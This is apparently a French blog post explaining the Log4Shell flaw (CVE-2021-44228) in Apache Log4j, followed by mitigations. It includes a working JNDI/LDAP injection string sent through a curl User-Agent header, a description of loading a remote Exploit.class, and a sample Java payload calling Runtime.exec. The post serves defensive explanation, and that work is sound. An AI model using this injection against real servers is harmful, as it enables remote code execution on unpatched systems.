CVE-2021-44228 et Apache Log4j

Contexte

Le 9 décembre, une vulnérabilité a été annoncée publiquement. La faille a été découverte par Chen Zhaojun de l’équipe Securité de Alibaba Cloud. Les versions concernées de la version 2.0-beta9 à 2.14.1.

La faille utilise la fonctionnalité de Lookups de Log4J. C’est la capacité d’ajouter des informations dans les messages des journaux. Voici la liste complète. Celle qui nous intéresse est celle utilisant les capacité de JNDI.

    <File name="Application" fileName="application.log">
      <PatternLayout>
        <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
      </PatternLayout>
    </File>

Le principe de l’attaque est de détourner cette fonctionnalité afin d’appeler un serveur LDAP corrompu. Pourquoi ? car il est possible d’exécuter du code Java. Cela explique la gravité de cette faille car du code arbitraire peut être exécutée à distance.

Pour cela, il suffit que l’application affiche dans les journaux des informations provenant de la requête. Par exemple, l’en-tête 'User-Agent'

String userAgent = he.getRequestHeaders().getFirst("user-agent");

log.info("Request user-agent: {}", userAgent);

Et c’est là, que la personne malveillante peut construire une chaine maveillante de ce type :

curl 127.0.0.1:8500 -H 'user-agent: ${jndi:ldap://127.0.0.1:1389/....}'
  1. 127.0.0.1:8500 : Serveur cible de mon attaque

  2. 127.0.0.1:1389 : Serveur LDAP corrompu

Ainsi, cela sera le code suivant qui sera exécuté:

log.info("Request user-agent: ${jndi:ldap://127.0.0.1:1389/....}";

Reprenons, voici les étapes :

  • Les données sont envoyés au serveur (via n’importe quel protocole)

  • Le serveur enregistre dans les journaux le payload malveillant ${jndi:ldap://127.0.0.1:1389/…​.

  • Lo4j va appeler l’annuaire LDAP corrompu 127.0.0.1:1389 via JNDI

  • La réponse contient un chemin pour récupérer du code malveillant http://127.0.0.1:8888/Exploit.class qui sera chargé par le serveur.

  • Cela permet l’execution de code arbitraire.

Exemple de payload

class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/pwned"); } catch(Exception e) {}
    }
}

La commande sera exécutée dès qu’elle est chargé par la JVM.

Solution

La solution est de monter de version la librairie et d’utiliser la version 2.15.0.

Cela n’est peut-être pas simple à changer, notamment si cela concerne un produit utilisant log4j, comme Apache Solr, Elasticsearch, Apache Kafka.

Une liste est maintenue par connaître les produits impactés

Il est intéressant de connaitre des solutions alternatives permettant d’éviter le problème.

Version >= 2.10

Il existe deux solutions :

  • Propriété de la JVM : -Dlog4j.formatMsgNoLookups=true

  • Variable d’environnement : LOG4J_FORMAT_MSG_NO_LOOKUPS=true

Version < 2.10

Solution un peu radicale. Elle consiste à supprimer la classe JndiLookup

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Cas des JVM récentes

Par défaut, le code arbitraire ne peut pas être chargée pour les versions suivantes :

  • Java 7 : 7u202

  • Java 8 : 8u192

  • Java 11 : 11.0.2

Si vous utilisez une version Java 8 >= 8u121, vous pouvez désactiver le chargement de ce type de code avec les propriétés suivantes :

  • -Dcom.sun.jndi.rmi.object.trustURLCodebase=false

  • -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false

avertissement Il est à noter que cela n’empêche pas le premier appel au serveur LDAP. Donc, des informations peuvent être soutirées par ce biais.